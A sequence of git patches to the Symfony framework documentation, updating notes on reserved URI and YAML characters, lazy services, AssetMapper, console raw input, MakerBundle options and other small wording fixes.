 5 files changed, 16 insertions(+), 19 deletions(-)

diff --git a/components/cache/cache_items.rst b/components/cache/cache_items.rst
index 9f020a39de9..475a9c59367 100644
--- a/components/cache/cache_items.rst
+++ b/components/cache/cache_items.rst
@@ -12,9 +12,8 @@ Cache Item Keys and Values
 The **key** of a cache item is a plain string which acts as its
 identifier, so it must be unique for each cache pool. You can freely choose the
 keys, but they should only contain letters (A-Z, a-z), numbers (0-9) and the
-``_`` and ``.`` symbols. Other common symbols (such as ``{``, ``}``, ``(``,
-``)``, ``/``, ``\``, ``@`` and ``:``) are reserved by the PSR-6 standard for future
-uses.
+``_`` and ``.`` symbols. Other common symbols (such as ``{ } ( ) / \ @ :``) are
+reserved by the PSR-6 standard for future uses.
 
 The **value** of a cache item can be any data represented by a type which is
 serializable by PHP, such as basic types (string, integer, float, boolean, null),
diff --git a/doctrine.rst b/doctrine.rst
index 03e4428db0b..c118a7c6280 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -61,7 +61,7 @@ The database connection information is stored as an environment variable called
 .. caution::
 
     If the username, password, host or database name contain any character considered
-    special in a URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``, ``%``),
+    special in a URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``),
     you must encode them. See `RFC 3986`_ for the full list of reserved characters or
     use the :phpfunction:`urlencode` function to encode them. In this case you need to
     remove the ``resolve:`` prefix in ``config/packages/doctrine.yaml`` to avoid errors:
diff --git a/mailer.rst b/mailer.rst
index 8f231be4520..17a8d97955b 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -64,7 +64,7 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
 .. caution::
 
     If the username, password or host contain any character considered special in a
-    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
     encode them. See `RFC 3986`_ for the full list of reserved characters or use the
     :phpfunction:`urlencode` function to encode them.
 
diff --git a/notifier.rst b/notifier.rst
index fe3f0ff0ea5..177d691c55a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -50,7 +50,7 @@ SMS Channel
 .. caution::
 
     If any of the DSN values contains any character considered special in a
-    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
     encode them. See `RFC 3986`_ for the full list of reserved characters or use the
     :phpfunction:`urlencode` function to encode them.
 
@@ -211,7 +211,7 @@ Chat Channel
 .. caution::
 
     If any of the DSN values contains any character considered special in a
-    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
     encode them. See `RFC 3986`_ for the full list of reserved characters or use the
     :phpfunction:`urlencode` function to encode them.
 
@@ -415,7 +415,7 @@ Push Channel
 .. caution::
 
     If any of the DSN values contains any character considered special in a
-    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
     encode them. See `RFC 3986`_ for the full list of reserved characters or use the
     :phpfunction:`urlencode` function to encode them.
 
diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst
index 8127bf43729..3c4bd104465 100644
--- a/reference/formats/yaml.rst
+++ b/reference/formats/yaml.rst
@@ -34,12 +34,10 @@ must be doubled to escape it:
 
     'A single quote '' inside a single-quoted string'
 
-Strings containing any of the following characters must be quoted. Although you
-can use double quotes, for these characters it is more convenient to use single
-quotes, which avoids having to escape any backslash ``\``:
-
-* ``:``, ``{``, ``}``, ``[``, ``]``, ``,``, ``&``, ``*``, ``#``, ``?``, ``|``,
-  ``-``, ``<``, ``>``, ``=``, ``!``, ``%``, ``@``, `````
+Strings containing any of the following characters must be quoted:
+``: { } [ ] , & * # ? | - < > = ! % @`` Although you can use double quotes, for
+these characters it is more convenient to use single quotes, which avoids having
+to escape any backslash ``\``.
 
 The double-quoted style provides a way to express arbitrary strings, by
 using ``\`` to escape characters and sequences. For instance, it is very useful
@@ -52,11 +50,11 @@ when you need to embed a ``\n`` or a Unicode character in a string.
 If the string contains any of the following control characters, it must be
 escaped with double quotes:
 
-* ``\0``, ``\x01``, ``\x02``, ``\x03``, ``\x04``, ``\x05``, ``\x06``, ``\a``,
-  ``\b``, ``\t``, ``\n``, ``\v``, ``\f``, ``\r``, ``\x0e``, ``\x0f``, ``\x10``,
-  ``\x11``, ``\x12``, ``\x13``, ``\x14``, ``\x15``, ``\x16``, ``\x17``, ``\x18``,
-  ``\x19``, ``\x1a``, ``\e``, ``\x1c``, ``\x1d``, ``\x1e``, ``\x1f``, ``\N``,
-  ``\_``, ``\L``, ``\P``
+``\0``, ``\x01``, ``\x02``, ``\x03``, ``\x04``, ``\x05``, ``\x06``, ``\a``,
+``\b``, ``\t``, ``\n``, ``\v``, ``\f``, ``\r``, ``\x0e``, ``\x0f``, ``\x10``,
+``\x11``, ``\x12``, ``\x13``, ``\x14``, ``\x15``, ``\x16``, ``\x17``, ``\x18``,
+``\x19``, ``\x1a``, ``\e``, ``\x1c``, ``\x1d``, ``\x1e``, ``\x1f``, ``\N``,
+``\_``, ``\L``, ``\P``
 
 Finally, there are other cases when the strings must be quoted, no matter if
 you're using single or double quotes:

From 6f05767d02593ebf2d47cfced08fabee1e0763b3 Mon Sep 17 00:00:00 2001
From: Benjamin Zaslavsky <benjamin.zaslavsky@gmail.com>
Date: Thu, 25 Jan 2024 09:54:48 +0100
Subject: [PATCH 4577/5766] [DependencyInjection] Add `#[Lazy]` attribute

---
 reference/attributes.rst            |  1 +
 service_container/lazy_services.rst | 26 ++++++++++++++++++++++++++
 2 files changed, 27 insertions(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 08667e2a06f..015b8751834 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -37,6 +37,7 @@ Dependency Injection
 * :ref:`AutowireLocator <service-locator_autowire-locator>`
 * :ref:`AutowireServiceClosure <autowiring_closures>`
 * :ref:`Exclude <service-psr4-loader>`
+* :ref:`Lazy <lazy-services_configuration>`
 * :ref:`TaggedIterator <tags_reference-tagged-services>`
 * :ref:`TaggedLocator <service-subscribers-locators_defining-service-locator>`
 * :ref:`Target <autowiring-multiple-implementations-same-type>`
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 46e939d4fac..4d21837e4ae 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -124,6 +124,32 @@ laziness, and supports lazy-autowiring of intersection types::
     ) {
     }
 
+Another possibility is to use the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Lazy` attribute::
+
+    namespace App\Twig;
+
+    use Symfony\Component\DependencyInjection\Attribute\Lazy;
+    use Twig\Extension\ExtensionInterface;
+
+    #[Lazy]
+    class AppExtension implements ExtensionInterface
+    {
+        // ...
+    }
+
+This attribute can be used on a class or on a parameter which should be lazy-loaded, and has a parameter
+that also supports defining interfaces to proxy and intersection types::
+
+    public function __construct(
+        #[Lazy(FooInterface::class)]
+        FooInterface|BarInterface $foo,
+    ) {
+    }
+
+.. versionadded:: 7.1
+
+    The ``#[Lazy]`` attribute was introduced in Symfony 7.1.
+
 Interface Proxifying
 --------------------
 

From 0816f2b88a0aec8ddad0df640b94a2ae3b0f427e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 21 Mar 2024 15:42:46 +0100
Subject: [PATCH 4578/5766] Tweaks

---
 service_container/lazy_services.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index ca883278453..41f27d8448f 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -137,8 +137,8 @@ Another possibility is to use the :class:`Symfony\\Component\\DependencyInjectio
         // ...
     }
 
-This attribute can be used on a class or on a parameter which should be lazy-loaded, and has a parameter
-that also supports defining interfaces to proxy and intersection types::
+This attribute can be applied to both class and parameters that should be lazy-loaded.
+It defines an optional parameter used to define interfaces for proxy and intersection types::
 
     public function __construct(
         #[Lazy(FooInterface::class)]

From ad7303f7ca0c9302f126504991c66db2951ad98c Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Thu, 21 Mar 2024 18:22:19 +0100
Subject: [PATCH 4579/5766] Fix the default value for the constraints option of
 forms

`null` is not a valid value of this option.
---
 reference/forms/types/options/constraints.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/constraints.rst.inc b/reference/forms/types/options/constraints.rst.inc
index 7aab319f302..3e1af29f3ab 100644
--- a/reference/forms/types/options/constraints.rst.inc
+++ b/reference/forms/types/options/constraints.rst.inc
@@ -1,7 +1,7 @@
 ``constraints``
 ~~~~~~~~~~~~~~~
 
-**type**: ``array`` or :class:`Symfony\\Component\\Validator\\Constraint` **default**: ``null``
+**type**: ``array`` or :class:`Symfony\\Component\\Validator\\Constraint` **default**: ``[]``
 
 Allows you to attach one or more validation constraints to a specific field.
 For more information, see :ref:`Adding Validation <form-option-constraints>`.

From 259482f48dec24c6d0836450e213305584a47449 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Fri, 9 Feb 2024 19:01:31 +0100
Subject: [PATCH 4580/5766] =?UTF-8?q?[5.4]=20add=20note=20about=20newer=20?=
 =?UTF-8?q?version=20on=20the=20=E2=80=9Cupgrade=20major=E2=80=9D=20guide?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 setup/upgrade_major.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 9841a2496bd..c705c01059f 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -176,6 +176,12 @@ this one. For instance, update it to ``6.0.*`` to upgrade to Symfony 6.0:
           }
       }
 
+
+.. tip::
+
+    If a more recent minor version is available, e.g. ``6.4``, you can use this version directly
+    and skip the older releases, like ``6.0``. Check the `available versions`_.
+
 Next, use Composer to download new versions of the libraries:
 
 .. code-block:: terminal
@@ -335,3 +341,4 @@ Classes in the ``vendor/`` directory are always ignored.
 
 .. _`PHP CS Fixer`: https://github.com/friendsofphp/php-cs-fixer
 .. _`Rector`: https://github.com/rectorphp/rector
+.. _`available versions`: https://symfony.com/releases

From 3e752cacb17e8e81b9f6b2bc2890267e2ef52d6d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Mar 2024 10:33:48 +0100
Subject: [PATCH 4581/5766] Tweaks

---
 setup/upgrade_major.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index c705c01059f..f75762604ca 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -176,11 +176,11 @@ this one. For instance, update it to ``6.0.*`` to upgrade to Symfony 6.0:
           }
       }
 
-
 .. tip::
 
-    If a more recent minor version is available, e.g. ``6.4``, you can use this version directly
-    and skip the older releases, like ``6.0``. Check the `available versions`_.
+    If a more recent minor version is available (e.g. ``6.4``) you can use that
+    version directly and skip the older releases (``6.0``, ``6.1``, etc.).
+    Check the `maintained Symfony versions`_.
 
 Next, use Composer to download new versions of the libraries:
 
@@ -341,4 +341,4 @@ Classes in the ``vendor/`` directory are always ignored.
 
 .. _`PHP CS Fixer`: https://github.com/friendsofphp/php-cs-fixer
 .. _`Rector`: https://github.com/rectorphp/rector
-.. _`available versions`: https://symfony.com/releases
+.. _`maintained Symfony versions`: https://symfony.com/releases

From 2aec458835cd58504c910ad9bc625bd1012ab19d Mon Sep 17 00:00:00 2001
From: Pierre Arnissolle <pierre@arnissolle.com>
Date: Fri, 22 Mar 2024 10:45:17 +0100
Subject: [PATCH 4582/5766] Update shared.rst to add doc on PHP attributes

Add code block for PHP attributes
---
 service_container/shared.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/service_container/shared.rst b/service_container/shared.rst
index 435822fb25c..ea12de568d4 100644
--- a/service_container/shared.rst
+++ b/service_container/shared.rst
@@ -11,6 +11,19 @@ in your service definition:
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/SomeNonSharedService.php
+        namespace App;
+
+	    use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
+
+        #[Autoconfigure(shared: false)]
+        class SomeNonSharedService
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml

From 64eb515797f8966408f8abd1896d7ed3893d1f41 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 25 Mar 2024 15:42:52 +0100
Subject: [PATCH 4583/5766] Rewords

---
 frontend/asset_mapper.rst | 21 +++++++++++++--------
 1 file changed, 13 insertions(+), 8 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 8b8658468fc..c4ec17337ef 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -188,11 +188,6 @@ to add any `npm package`_:
 
     $ php bin/console importmap:require bootstrap
 
-.. note::
-
-    If you're getting a 404 error, you can contact the package maintainer and ask them to
-    include `"main":` and `"module":` to the package's `package.json`.
-
 This adds the ``bootstrap`` package to your ``importmap.php`` file::
 
     // importmap.php
@@ -212,8 +207,14 @@ This adds the ``bootstrap`` package to your ``importmap.php`` file::
     such as ``@popperjs/core``. The ``importmap:require`` command will add both the
     main package *and* its dependencies. If a package includes a main CSS file,
     that will also be added (see :ref:`Handling 3rd-Party CSS <asset-mapper-3rd-party-css>`).
-    If the associated CSS file isn't added to the importmap, you can contact the package
-    maintainer and ask them to include `"style":` to the package's `package.json`.
+
+.. note::
+
+    If you get a 404 error, there might be some issue with the JavaScript package
+    that prevents it from being served by the ``jsDelivr`` CDN. For example, the
+    package might be missing properties like ``main`` or ``module`` in its
+    `package.json configuration file`_. Try to contact the package maintainer to
+    ask them to fix those issues.
 
 Now you can import the ``bootstrap`` package like usual:
 
@@ -449,7 +450,10 @@ To include it on the page, import it from a JavaScript file:
 
     Some packages - like ``bootstrap`` - advertise that they contain a CSS
     file. In those cases, when you ``importmap:require bootstrap``, the
-    CSS file is also added to ``importmap.php`` for convenience.
+    CSS file is also added to ``importmap.php`` for convenience. If some package
+    doesn't advertise its CSS file in the ``style`` property of the
+    `package.json configuration file`_ try to contact the package maintainer to
+    ask them to add that.
 
 Paths Inside of CSS Files
 ~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -1138,3 +1142,4 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _sensiolabs/typescript-bundle: https://github.com/sensiolabs/AssetMapperTypeScriptBundle
 .. _`dist/css/bootstrap.min.css file`: https://www.jsdelivr.com/package/npm/bootstrap?tab=files&path=dist%2Fcss#tabRouteFiles
 .. _`dynamic import`: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import
+.. _`package.json configuration file`: https://docs.npmjs.com/creating-a-package-json-file

From 995b8ac36a32b0a9c59b55ab94cbc70f82699a55 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?cl=C3=A9ment=20larrieu?= <homzon@gmail.com>
Date: Fri, 15 Mar 2024 11:35:34 +0100
Subject: [PATCH 4584/5766] doc: added a disambiguation on what the identifier
 is

Users could be confused seeing getUserId() and returning a user Id instead of the identifier defined in the app, such as an email.
---
 security/access_token.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/security/access_token.rst b/security/access_token.rst
index 81a3a9cdabe..c5a202249b1 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -97,6 +97,7 @@ This handler must implement
             }
 
             // and return a UserBadge object containing the user identifier from the found token
+            // the user identifier being an email, a username and not necessarily an Id
             return new UserBadge($accessToken->getUserId());
         }
     }

From c802af32e9393aaaf408c0f875d29e6e66ba569f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 25 Mar 2024 16:17:05 +0100
Subject: [PATCH 4585/5766] Minor reword

---
 security/access_token.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index c5a202249b1..df02f3da6bc 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -97,7 +97,8 @@ This handler must implement
             }
 
             // and return a UserBadge object containing the user identifier from the found token
-            // the user identifier being an email, a username and not necessarily an Id
+            // (this is the same identifier used in Security configuration; it can be an email,
+            // a UUUID, a username, a database ID, etc.)
             return new UserBadge($accessToken->getUserId());
         }
     }

From 8733549a31d01dd5fb5cd8fac5b05940a68075f1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 25 Mar 2024 16:25:05 +0100
Subject: [PATCH 4586/5766] [AssetMapper] Adding updater to comparison table

---
 frontend.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/frontend.rst b/frontend.rst
index 519fe69e350..2314c9f5556 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -37,6 +37,7 @@ Supports TypeScript               :ref:`yes <asset-mapper-ts>`        yes
 Removes comments from JavaScript  no                                  yes
 Removes comments from CSS         no                                  no
 Versioned assets                  always                              optional
+Can update 3rd party packages     yes                                 yes :ref:`[3] <ux-note-3>`
 ================================  ==================================  ==========
 
 .. _ux-note-1:
@@ -46,6 +47,14 @@ need to use their native tools for pre-compilation. Also, some features (like
 Vue single-file components) cannot be compiled down to pure JavaScript that can
 be executed by a browser.
 
+.. _ux-note-2:
+
+**[2]** There are some `PostCSS`_ plugins available to remove comments from CSS files.
+
+.. _ux-note-3:
+
+**[3]** Update checkers are available for NPM, e.g. `npm-check`.
+
 .. _frontend-asset-mapper:
 
 AssetMapper (Recommended)

From 0a6719096d20359d044d1fd964d0b319637de2c7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 25 Mar 2024 16:26:18 +0100
Subject: [PATCH 4587/5766] Tweak

---
 frontend.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 2314c9f5556..2c4a9671236 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -37,7 +37,7 @@ Supports TypeScript               :ref:`yes <asset-mapper-ts>`        yes
 Removes comments from JavaScript  no                                  yes
 Removes comments from CSS         no                                  no
 Versioned assets                  always                              optional
-Can update 3rd party packages     yes                                 yes :ref:`[3] <ux-note-3>`
+Can update 3rd party packages     yes                                 no :ref:`[3] <ux-note-3>`
 ================================  ==================================  ==========
 
 .. _ux-note-1:
@@ -53,7 +53,7 @@ be executed by a browser.
 
 .. _ux-note-3:
 
-**[3]** Update checkers are available for NPM, e.g. `npm-check`.
+**[3]** If you use ``npm``, there are update checkers available (e.g. ``npm-check``).
 
 .. _frontend-asset-mapper:
 

From f65137144162b98b52767dd1bc05ecd6361ec5c9 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 25 Mar 2024 18:15:16 +0100
Subject: [PATCH 4588/5766] [AssetMapper] Removing orphaned footnote [2]

Page: https://symfony.com/doc/6.4/frontend.html
---
 frontend.rst | 8 ++------
 1 file changed, 2 insertions(+), 6 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 2c4a9671236..6b7aa6f5048 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -37,7 +37,7 @@ Supports TypeScript               :ref:`yes <asset-mapper-ts>`        yes
 Removes comments from JavaScript  no                                  yes
 Removes comments from CSS         no                                  no
 Versioned assets                  always                              optional
-Can update 3rd party packages     yes                                 no :ref:`[3] <ux-note-3>`
+Can update 3rd party packages     yes                                 no :ref:`[2] <ux-note-2>`
 ================================  ==================================  ==========
 
 .. _ux-note-1:
@@ -49,11 +49,7 @@ be executed by a browser.
 
 .. _ux-note-2:
 
-**[2]** There are some `PostCSS`_ plugins available to remove comments from CSS files.
-
-.. _ux-note-3:
-
-**[3]** If you use ``npm``, there are update checkers available (e.g. ``npm-check``).
+**[2]** If you use ``npm``, there are update checkers available (e.g. ``npm-check``).
 
 .. _frontend-asset-mapper:
 

From 7afdaa339959baaa3e55a8ec2fe33f1d93fb2d84 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 26 Mar 2024 16:53:56 +0100
Subject: [PATCH 4589/5766] [Console] Mention `ArgvInput::getRawTokens`

---
 console/input.rst | 31 +++++++++++++++++++++++++++++++
 1 file changed, 31 insertions(+)

diff --git a/console/input.rst b/console/input.rst
index 4d709c18825..f889926be59 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -311,6 +311,37 @@ The above code can be simplified as follows because ``false !== null``::
     $yell = ($optionValue !== false);
     $yellLouder = ($optionValue === 'louder');
 
+Fetching The Raw Command Input
+------------------------------
+
+Sometimes, you may need to fetch the raw input that was passed to the command.
+This is useful when you need to parse the input yourself or when you need to
+pass the input to another command without having to worry about the number
+of arguments or options defined in your own command. This can be achieved
+thanks to the
+:method:`Symfony\\Component\\Console\\Input\\ArgvInput::getRawTokens` method::
+
+    // ...
+    use Symfony\Component\Process\Process;
+
+    protected function execute(InputInterface $input, OutputInterface $output): int
+    {
+        // pass the raw input of your command to the "ls" command
+        $process = new Process(['ls', ...$input->getRawTokens(true)]);
+        $process->setTty(true);
+        $process->mustRun();
+
+        // ...
+    }
+
+You can include the current command name in the raw tokens by passing ``true``
+to the ``getRawTokens`` method only parameter.
+
+.. versionadded:: 7.1
+
+    The :method:`Symfony\\Component\\Console\\Input\\ArgvInput::getRawTokens`
+    method was introduced in Symfony 7.1.
+
 Adding Argument/Option Value Completion
 ---------------------------------------
 

From 0de0d796bb3913237652d990bf4ef6710169ec2d Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Tue, 26 Mar 2024 15:30:25 -0400
Subject: [PATCH 4590/5766] [MakerBundle] document --with-uuid & --with-ulid

Introduced in MakerBundle `v1.57.0` passing `--with-uuid` || --with-ulid` to:

- `make:user`
- `make:entity`
- `make:reset-password`

Will generate the entities with either `Uuid`'s or `Ulid`'s for the entities `id` / primary key.
---
 doctrine.rst              | 10 +++++++++-
 doctrine/associations.rst |  8 ++++++++
 security.rst              |  7 +++++++
 security/passwords.rst    |  7 +++++++
 4 files changed, 31 insertions(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index c118a7c6280..28767669844 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -157,9 +157,16 @@ Whoa! You now have a new ``src/Entity/Product.php`` file::
         // ... getter and setter methods
     }
 
+.. tip::
+
+    Starting in `MakerBundle`_: v1.57.0 - You can pass either ``--with-uuid`` or
+    ``--with-ulid`` to ``make:entity``. Leveraging Symfony's :doc:`Uid Component </components/uid>`,
+    this generates an entity with the ``id`` type as :ref:`Uuid <uuid>`
+    or :ref:`Ulid <ulid>` instead of ``int``.
+
 .. note::
 
-    Starting in v1.44.0 - MakerBundle only supports entities using PHP attributes.
+    Starting in v1.44.0 - `MakerBundle`_: only supports entities using PHP attributes.
 
 .. note::
 
@@ -909,3 +916,4 @@ Learn more
 .. _`PDO`: https://www.php.net/pdo
 .. _`available Doctrine extensions`: https://github.com/doctrine-extensions/DoctrineExtensions
 .. _`StofDoctrineExtensionsBundle`: https://github.com/stof/StofDoctrineExtensionsBundle
+.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 57e0aa55c9f..5cd1ff1e07f 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -79,6 +79,13 @@ This will generate your new entity class::
         // ... getters and setters
     }
 
+.. tip::
+
+    Starting in `MakerBundle`_: v1.57.0 - You can pass either ``--with-uuid`` or
+    ``--with-ulid`` to ``make:entity``. Leveraging Symfony's :doc:`Uid Component </components/uid>`,
+    this generates an entity with the ``id`` type as :ref:`Uuid <uuid>`
+    or :ref:`Ulid <ulid>` instead of ``int``.
+
 Mapping the ManyToOne Relationship
 ----------------------------------
 
@@ -700,3 +707,4 @@ Doctrine's `Association Mapping Documentation`_.
 .. _`orphanRemoval`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/working-with-associations.html#orphan-removal
 .. _`Mastering Doctrine Relations`: https://symfonycasts.com/screencast/doctrine-relations
 .. _`ArrayCollection`: https://www.doctrine-project.org/projects/doctrine-collections/en/1.6/index.html
+.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
diff --git a/security.rst b/security.rst
index 6f07153cc3c..e2f5437c0ec 100644
--- a/security.rst
+++ b/security.rst
@@ -232,6 +232,13 @@ from the `MakerBundle`_:
         }
     }
 
+.. tip::
+
+    Starting in `MakerBundle`_: v1.57.0 - You can pass either ``--with-uuid`` or
+    ``--with-ulid`` to ``make:user``. Leveraging Symfony's :doc:`Uid Component </components/uid>`,
+    this generates a ``User`` entity with the ``id`` type as :ref:`Uuid <uuid>`
+    or :ref:`Ulid <ulid>` instead of ``int``.
+
 .. versionadded:: 5.3
 
     The :class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface`
diff --git a/security/passwords.rst b/security/passwords.rst
index f00cec6184c..b228058c7e3 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -294,6 +294,13 @@ you'll see a success message and a list of any other steps you need to do.
 
     $ php bin/console make:reset-password
 
+.. tip::
+
+    Starting in `MakerBundle`_: v1.57.0 - You can pass either ``--with-uuid`` or
+    ``--with-ulid`` to ``make:reset-password``. Leveraging Symfony's :doc:`Uid Component </components/uid>`,
+    the entities will be generated with the ``id`` type as :ref:`Uuid <uuid>`
+    or :ref:`Ulid <ulid>` instead of ``int``.
+
 You can customize the reset password bundle's behavior by updating the
 ``reset_password.yaml`` file. For more information on the configuration,
 check out the `SymfonyCastsResetPasswordBundle`_  guide.

From e083e4946a3ff425055a7b2e8b57963a58cd549b Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Tue, 26 Mar 2024 15:54:46 -0400
Subject: [PATCH 4591/5766] [MakerBundle] `make:migration` supports --formatted
 option

Released in `v1.56.0`, passing --formatted will generate a "human friendly" migration file.
---
 doctrine.rst | 6 ++++++
 security.rst | 5 +++++
 2 files changed, 11 insertions(+)

diff --git a/doctrine.rst b/doctrine.rst
index c118a7c6280..e6a178d1802 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -225,6 +225,11 @@ already installed:
 
     $ php bin/console make:migration
 
+.. tip::
+
+    Starting in `MakerBundle`_: v1.56.0 - Passing ``--formatted`` to ``make:migration``
+    generates a nice and tidy migration file.
+
 If everything worked, you should see something like this:
 
 .. code-block:: text
@@ -909,3 +914,4 @@ Learn more
 .. _`PDO`: https://www.php.net/pdo
 .. _`available Doctrine extensions`: https://github.com/doctrine-extensions/DoctrineExtensions
 .. _`StofDoctrineExtensionsBundle`: https://github.com/stof/StofDoctrineExtensionsBundle
+.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
diff --git a/security.rst b/security.rst
index 6f07153cc3c..7c7da679d45 100644
--- a/security.rst
+++ b/security.rst
@@ -245,6 +245,11 @@ to create the tables by :ref:`creating and running a migration <doctrine-creatin
     $ php bin/console make:migration
     $ php bin/console doctrine:migrations:migrate
 
+.. tip::
+
+    Starting in `MakerBundle`_: v1.56.0 - Passing ``--formatted`` to ``make:migration``
+    generates a nice and tidy migration file.
+
 .. _where-do-users-come-from-user-providers:
 .. _security-user-providers:
 

From 3ce5f97e85a782e5d8888a5490eb6cd9881583a3 Mon Sep 17 00:00:00 2001
From: Chris Taylor <chris@christaylordeveloper.co.uk>
Date: Tue, 26 Mar 2024 15:50:17 +0100
Subject: [PATCH 4592/5766] Add missing word.

---
 contributing/documentation/overview.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 4bc8a818bad..aae2c397dec 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -104,7 +104,7 @@ Fetch all the commits of the upstream branches by executing this command:
 
     $ git fetch upstream
 
-The purpose of this step is to allow you work simultaneously on the official
+The purpose of this step is to allow you to work simultaneously on the official
 Symfony repository and on your own fork. You'll see this in action in a moment.
 
 **Step 4.** Create a dedicated **new branch** for your changes. Use a short and

From 08a12ec0616af510e0325a2b21acea467d5ec7fe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 25 Mar 2024 09:32:21 +0100
Subject: [PATCH 4593/5766] [Workflow] Document the EventNameTrait

---
 workflow.rst | 16 +++++++++++++++-
 1 file changed, 15 insertions(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 65c4f827a0f..f0c276a86f1 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -496,6 +496,7 @@ workflow leaves a place::
     use Psr\Log\LoggerInterface;
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Workflow\Event\Event;
+    use Symfony\Component\Workflow\Event\LeaveEvent;
 
     class WorkflowLoggerSubscriber implements EventSubscriberInterface
     {
